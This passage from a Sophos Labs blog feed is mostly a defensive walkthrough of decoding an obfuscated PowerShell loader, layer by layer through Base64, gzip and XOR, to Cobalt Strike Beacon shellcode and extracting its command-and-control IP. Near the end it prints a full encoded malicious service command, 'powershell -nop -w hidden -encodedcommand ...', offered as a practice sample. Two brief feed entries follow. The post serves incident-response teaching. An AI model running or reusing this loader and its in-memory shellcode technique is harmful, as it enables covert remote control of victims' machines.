Console&amp;#39;;"&gt; (&lt;/span&gt;&lt;span style="color:blue;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;New-Object&lt;/span&gt; &lt;span style="color:blueviolet;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;IO.StreamReader&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;(&lt;/span&gt;&lt;span style="color:blue;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;New-Object&lt;/span&gt; &lt;span style="color:blueviolet;background:yellow;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;IO.Compression.GzipStream&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;(&lt;/span&gt;&lt;span style="color:orangered;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;$s&lt;/span&gt;&lt;span style="color:darkgray;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;,[&lt;/span&gt;&lt;span style="color:teal;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;IO.Compression.CompressionMode&lt;/span&gt;&lt;span style="color:darkgray;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;]::&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;Decompress)))&lt;/span&gt;&lt;span style="color:darkgray;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;.&lt;/span&gt;&lt;span style="color:black;font-family:&amp;#39;Lucida Console&amp;#39;;"&gt;ReadToEnd(); &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are two takeaways from the above string &amp;ndash;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We&amp;rsquo;ll again have to decode a Base64 String&lt;/li&gt;
&lt;li&gt;I am seeing words like &lt;em&gt;Compression/Decompress &lt;/em&gt;so maybe we&amp;rsquo;ll have to decompress the output of this string.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A visually appealing [read shamelessly copy/pasted from the Internet] screen snippet &amp;ndash;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Flow.jpg"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Flow.jpg" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;&lt;u&gt;Layer 2 &amp;ndash; Attack of Compression&lt;/u&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Now, we only input the string &amp;nbsp;&lt;span style="font-family:&amp;#39;courier new&amp;#39;, courier;"&gt;H4sIAAAAA..[truncated]..GDQAA&lt;/span&gt; into CyberChef and apply these Recipes &amp;ndash;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Compression_5F00_Cybrechef.jpg"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/Compression_5F00_Cybrechef.jpg" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;&lt;u&gt;Layer 3 - The Last Beacon&lt;/u&gt;&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;I am no PowerShell expert and normally we don&amp;rsquo;t expect IT administrators to be one apart from the common day-to-day administrative tasks. Leafing through the script, there&amp;rsquo;s literally nothing that stands out to me from a Malware&amp;rsquo;s perspective. I can&amp;rsquo;t see a URL, IP, recognizable Port number or any dodgy looking function like&amp;nbsp;&lt;span style="font-size:inherit;"&gt;&lt;span style="color:blue;"&gt;func&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;DoEvilStuff&lt;/span&gt;() or &lt;span style="color:blue;"&gt;func&lt;/span&gt;&lt;span style="font-family:inherit;"&gt; &lt;span style="color:blueviolet;"&gt;DestroyTheResistance&lt;/span&gt;()&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;What I do see towards the end of the script, is another string of looong characters which might hold some answers &amp;ndash;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;span style="font-size:inherit;font-family:inherit;"&gt;&lt;span style="color:darkgray;"&gt;[&lt;/span&gt;&lt;span style="color:teal;"&gt;Byte&lt;/span&gt;&lt;span style="color:darkgray;"&gt;[]]&lt;/span&gt;&lt;span style="color:orangered;"&gt;$var_code&lt;/span&gt; &lt;span style="color:darkgray;"&gt;=&lt;/span&gt; &lt;span style="color:darkgray;"&gt;[&lt;/span&gt;&lt;span style="color:teal;"&gt;System.Convert&lt;/span&gt;&lt;span style="color:darkgray;"&gt;]::&lt;/span&gt;&lt;span style="color:black;"&gt;FromBase64String(&lt;/span&gt;&lt;span style="color:darkred;"&gt;&amp;quot;/OiJAAAAYInlMdJ..ENUFF_IS_ENUFF_I_QUIT..jEwOAA=&amp;quot;&lt;/span&gt;&lt;span style="color:black;"&gt;) &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nevertheless, we&amp;rsquo;ve come too far just to quit. So let&amp;rsquo;s put that string back into CyberChef and apply the &amp;ldquo;From Base64&amp;rdquo; Recipe again &amp;ndash;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/LastLayer.jpg"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/LastLayer.jpg" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The reason we didn&amp;rsquo;t get a cleaner looking output is because it&amp;rsquo;s not a script [PowerShell, Batch, JavaScript, Visual Basic Script etc.] but a shell-code. We have seen attackers embed etire PE [Portable Executable], DLL [Dynamic Link Library] files within the script. Back to topic, Wikipedia&amp;rsquo;s description:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&amp;ldquo;In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called &amp;quot;shellcode&amp;quot; because it typically &lt;strong&gt;starts a command shell&lt;/strong&gt; from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Machine A &amp;ndash; Bob the Attacker&lt;br /&gt;Machine B &amp;ndash; Alice the Victim&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;starts a command shell &amp;ndash; &lt;/em&gt;&lt;/strong&gt;In layman terms, Bob managed to execute a piece of malicious program on Machine B which gave him a pathway to control any/every aspect of it.&lt;/p&gt;
&lt;p&gt;Possibilities-&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bob knew Alice loves cute pictures of dogs so he sent a disguised email with a malicious attachment which read &lt;em&gt;&amp;ldquo;Have you ever seen a dog play a ukulele? Click here to see!&amp;rdquo;&lt;/em&gt; She clicks on it and Bob gets complete access of Alice&amp;rsquo;s machine without her knowing.&lt;/li&gt;
&lt;li&gt;Bob knew Alice is running a very old Windows 7 machine. He exploited a vulnerability in Alice&amp;rsquo;s OS remotely using the EternalBlue exploit &amp;ndash; without any user intervention.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After analyzing the shell-code, we found&amp;nbsp;it to be a part of&amp;nbsp;Cobalt Strike which is threat emulation software. This software helps in security assessments that replicate the tactics and techniques of an advanced adversary in a network. But threat actors often misuse this tool to perform attacks on businesses.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&amp;ldquo;Beacon is Cobalt Strike&amp;#39;s payload to model advanced attackers. Use Beacon to egress[&lt;strong&gt;extract data or communicate back from&lt;/strong&gt;] a network over HTTP, HTTPS, or DNS. You may also limit which hosts egress a network by controlling peer-to-peer Beacons over Windows named pipes. Beacon is flexible and supports asynchronous and interactive communication. Asynchronous communication is low and slow. Beacon will phone home, download its tasks, and go to sleep. Interactive communication happens in real-time.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There&amp;nbsp;will be times&amp;nbsp;when the IP address isn&amp;rsquo;t visible using the normal decode process. The above example has been straight-forward however for the sake of demonstration, you may find a similar piece of code just after the shell-code snippet -&lt;/p&gt;
&lt;blockquote&gt;
&lt;p style="background:white;margin-bottom:0.0001pt;"&gt;&lt;span style="font-size:inherit;"&gt;&lt;span style="color:darkgray;"&gt;[&lt;/span&gt;&lt;span style="color:teal;"&gt;Byte&lt;/span&gt;&lt;span style="color:darkgray;"&gt;[]]&lt;/span&gt;&lt;span style="color:orangered;"&gt;$var_code&lt;/span&gt; &lt;span style="color:darkgray;"&gt;=&lt;/span&gt; &lt;span style="color:darkgray;"&gt;[&lt;/span&gt;&lt;span style="color:teal;"&gt;System.Convert&lt;/span&gt;&lt;span style="color:darkgray;"&gt;]::&lt;/span&gt;&lt;span style="color:black;"&gt;FromBase64String(&lt;/span&gt;&lt;span style="color:darkred;"&gt;&amp;#39;38u[Redacted_Chracters_CMjIyMg&amp;#39;&lt;/span&gt;&lt;span style="color:black;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="background:white;margin-bottom:0.0001pt;"&gt;&lt;span style="font-size:inherit;"&gt;&lt;span style="color:darkblue;"&gt;for&lt;/span&gt;&lt;span style="color:black;"&gt; (&lt;/span&gt;&lt;span style="color:orangered;"&gt;$x&lt;/span&gt; &lt;span style="color:darkgray;"&gt;=&lt;/span&gt; &lt;span style="color:purple;"&gt;0&lt;/span&gt;&lt;span style="color:black;"&gt;; &lt;/span&gt;&lt;span style="color:orangered;"&gt;$x&lt;/span&gt; &lt;span style="color:darkgray;"&gt;-lt&lt;/span&gt; &lt;span style="color:orangered;"&gt;$var_code&lt;/span&gt;&lt;span style="color:darkgray;"&gt;.&lt;/span&gt;&lt;span style="color:black;"&gt;Count; &lt;/span&gt;&lt;span style="color:orangered;"&gt;$x&lt;/span&gt;&lt;span style="color:darkgray;"&gt;++&lt;/span&gt;&lt;span style="color:black;"&gt;) {&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="background:white;margin-bottom:0.0001pt;"&gt;&lt;span style="font-size:inherit;"&gt;&lt;span style="color:black;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:orangered;"&gt;$var_code&lt;/span&gt;&lt;span style="color:darkgray;"&gt;[&lt;/span&gt;&lt;span style="color:orangered;"&gt;$x&lt;/span&gt;&lt;span style="color:darkgray;"&gt;]&lt;/span&gt; &lt;span style="color:darkgray;"&gt;=&lt;/span&gt; &lt;span style="color:orangered;"&gt;$var_code&lt;/span&gt;&lt;span style="color:darkgray;"&gt;[&lt;/span&gt;&lt;span style="color:orangered;"&gt;$x&lt;/span&gt;&lt;span style="color:darkgray;"&gt;]&lt;/span&gt; &lt;span style="color:darkgray;"&gt;-bxor&lt;/span&gt; &lt;span style="color:purple;"&gt;35&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style="background:white;margin-bottom:0.0001pt;"&gt;&lt;span style="color:black;font-size:inherit;"&gt;} &lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;All you have to do is apply one extra recipe called XOR and you&amp;#39;ll see a similar output as below -&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/XOR_5F00_C2.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/XOR_5F00_C2.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You can also utilize a tool called &lt;a href="http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=152"&gt;ScDbg&lt;/a&gt; [Shell-dode Debug]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&amp;ldquo;scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the Windows API the shellcode attempts to call.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; As tempting as this may seem, do no save the Shell-code on a business or a production machine. The Endpoint Protection software might flag a detection.&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/SaveOutPut.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/SaveOutPut.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Followed by &amp;ndash;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/SCDebugOuput.jpg"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/SCDebugOuput.jpg" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The IPs may differ in the demonstration as I wanted to cover 2 examples here i.e. with/without XOR in the malicious code.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;If we were to go a little further over to the&amp;nbsp;&lt;strong&gt;IDA&lt;/strong&gt;rk Side&amp;nbsp;with the shell-code,&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/0245.IDAHex.png"&gt;&lt;img src="/resized-image/__size/600x240/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/0245.IDAHex.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Success! We have the IP address as well as the Port to which the shell-code was calling out to for further instructions. In an active incident, the ability to quickly extract and pass this information on to a customer &lt;strong&gt;&lt;u&gt;quickly&lt;/u&gt;&lt;/strong&gt; makes a substantial difference. Now they can monitor/block this IP and the corresponding Port [as part of their Incident Response] to cut off attacker&amp;rsquo;s access to their assets.&lt;/p&gt;
&lt;p&gt;Phew. All this fuss to execute a shell-code &lt;strong&gt;directly &lt;/strong&gt;in memory because if it was dropped on a disk somewhere [packed with dependencies], an analyst would analyze and create signatures for it. Or someone would upload a copy on VirusTotal and the file will immediately be made public.&lt;/p&gt;
&lt;p&gt;I want to end this Blog with a publicly available snippet [Courtesy:&amp;nbsp;&lt;a href="/members/od"&gt;OD&lt;/a&gt;] can practice on. Imagine you found a Malicious Service named&amp;nbsp;&lt;strong&gt;UigioaCuQxDqfwNx&amp;nbsp;&lt;/strong&gt;which had the following string as the service executable. If you&amp;#39;re able to drill down on the C2 IP, please post it in a safe manner i.e. 192[.]168[.]0[.]100 in the comments!&amp;nbsp;&lt;/p&gt;
&lt;blockquote&gt;
&lt;div style="background:#ffffff;overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;"&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p style="background:white;margin-bottom:0.0001pt;"&gt;&lt;span style="color:blue;"&gt;%COMSPEC%&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;/b&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;/c&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;start&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;/b&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;/min&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;powershell&lt;/span&gt; &lt;span style="color:navy;"&gt;-nop&lt;/span&gt; &lt;span style="color:navy;"&gt;-w&lt;/span&gt; &lt;span style="color:blueviolet;"&gt;hidden&lt;/span&gt; &lt;span style="color:navy;"&gt;-encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABiAC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1AGEAawBVAGoAeABaAFIAbwBIAGsAMABLAE4ANgBaAC8ALwAwAGUAVQBIAE0AegBPADUAbgBkAHEAZABxADEAaQByAEsANwBPAGMALwBmAGUAZgBSAEIAUgBlAFIATwBKAGEARgB0AEUAQQBtAGIAaQBMAHEAYgBvAHoAQwB5AHMAVQBmAFYAQwA0AFYAYgBCAGcAdQBFACsAawByADkAVQBTAHgAcwBZAHMAOABnADIAWABHADIAZQBMAE0AUQBlAGYATgBEAGIATAB4AHAAcABoAG0AaQBLAEsATAArAEsAdAB3AG8AVwBxAGkANQBWAE8AawAyADAAYwBJADMARgA1AHUAeABnADYAcABVAHYAcwBrAEkAawBSAG0ASABxAEgAeAB6AFUANwBqAEoAagAyAEkAdgAwAGoAYgBvAHoAZABPAEkAbgBhAEEAMwBGADUARQB0AE4AaQBOAFEAVgBIAHIAcAArAEQANgBEAFgAYwAzADIAWAByADkAOAA2AGMAVgBoAGkARAB4AHkAMwB0AC8AMwBFAGUAbABFAEUAWABKADEAeAAwAFoAUgBxAFUAeAA5AG8AeABaAGIARgBLAEsANwBrAGIANQBEAEIAcQBIACsAbwBtADcAZgA3AHYAcwBPADEAagBYAG4AUQBwAGIAMgBOAEcATQBMAEQAbgBVADgATQAzAHMAbgBZAGsAUABMAFAATABoAFgAZgBjAGMAbQBwAGUASwBmAGYAeABiAEwATAAzAGUAMQAxADMAcwAyAGkARABVAG4ASwBoAFgA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IAZgBwAE0AdQBGADMANABlAGwAaAAvADIAMAA5AEMANgB1AG0AZwAxAGoASAB5AHoANQBxAE0AbgBKAE4AWgBVAHYANgBJAGUAeAA1ADYATAAvAFkAdwBCACsAVQBQAHIAZgBvAGMAMwBBAHkAKwBlADUAZAArAGgAeQBnAHoANwBIAHEAMQB3AG8ALwBsAEUAbwBDAEIAdgBxAHcAMwBsAGsAbgArAEIAcgBCAFEAWABVAGMANQA1ADcARQBkAEYAQwBjAHIAZgBEAE8AbgB6AGEANQBIAGQAMQA2AFYAWQByAFUAdwBLADcAcABHADQAMQA2AGoAdAAxAEIAKwA1ADEAbwBrAFkAZAB2AG0AOQBDAEsAOAA0AHUAYgB1AHIAOAB1AGYAYQBOAE8AbQBqADIAbQBmAEUAYgBOAFUARQBHAGcAbgBIADcAYgBvAEIAMQB5AEYASQBFADgAMQBjAG0ATwBoAGUAUwBFAGMAUABaADMANABXAEQAVwBDAGoALwBEAFEAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA &lt;/span&gt;&lt;/p&gt;
&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here&amp;#39;s a short video demonstration of the actions we can take on a sample encoded string -&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;u&gt;&lt;a href="https://www.youtube.com/watch?v=FJpkI8Rsinw"&gt;www.youtube.com/watch&lt;/a&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Anyway, I hope you enjoyed reading this as much as I did while putting this blog together. For any questions, feedback or corrections please feel to leave a comment below!&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=555&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>Vikas</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/vikas</uri></author><category term="suspicious" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/suspicious" /><category term="base64" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/base64" /><category term="malware" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/malware" /><category term="cobalt" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/cobalt" /><category term="decode" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/decode" /><category term="strike" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/strike" /><category term="metasploit" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/metasploit" /><category term="Service" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/Service" /><category term="PowerShell" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/PowerShell" /></entry><entry><title>Requests to re-categorize by third parties for PUA/Adware detections (possible Deceptor component)</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/requests-to-re-categorize-by-third-parties-for-pua-adware-detections-possible-deceptor-component" /><link rel="enclosure" type="text/html; charset=utf-8" length="55394" href="https://community.sophos.com/kb/en-us/134763" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/requests-to-re-categorize-by-third-parties-for-pua-adware-detections-possible-deceptor-component</id><published>2019-10-23T07:50:00Z</published><updated>2019-10-23T07:50:00Z</updated><content type="html">&lt;p&gt;Hi Everyone,&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The below article provides details about how we categorize PUA/Adware detections and how to provide us with the information we need to determine if a re-categorization is required.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=482&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>Shweta</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/shweta</uri></author></entry><entry><title>Watch Locky Ransomware in action and learn how Sophos stops it</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/watch-locky-ransomware-in-action-and-learn-how-sophos-stops-it" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/watch-locky-ransomware-in-action-and-learn-how-sophos-stops-it</id><published>2017-01-23T06:20:00Z</published><updated>2017-01-23T06:20:00Z</updated><content type="html">&lt;p&gt;Hi everyone,&lt;/p&gt;
&lt;p&gt;We have just published a new video taking a look at how ransomware works. You can find it here:&amp;nbsp;&lt;a href="https://www.youtube.com/watch?v=ajTcYRIwoqU"&gt;https://www.youtube.com/watch?v=ajTcYRIwoqU&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;In this video we are going to show you what happens when Locky Ransomware attacks a computer. You will see what a typical user would see if they were the victim of such an attack. We will then show you several scenarios demonstrating how Sophos protects the computers and networks of our customers using multiple techniques.&lt;/p&gt;
&lt;p&gt;All products featured in this video are using their default settings and no new protection was created to block the malware shown.&lt;/p&gt;
&lt;p&gt;Products featured: Sophos Endpoint managed by Sophos Central Console, with Sophos Intercept X.&lt;br /&gt;Sophos XG Firewall including Heartbeat and Sophos Sandstorm.&lt;/p&gt;
&lt;p&gt;For more information on Ransomware and how Sophos stops it please visit: www.sophos.com/ransomware&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=157&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>PeterM</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/peterm</uri></author></entry></feed>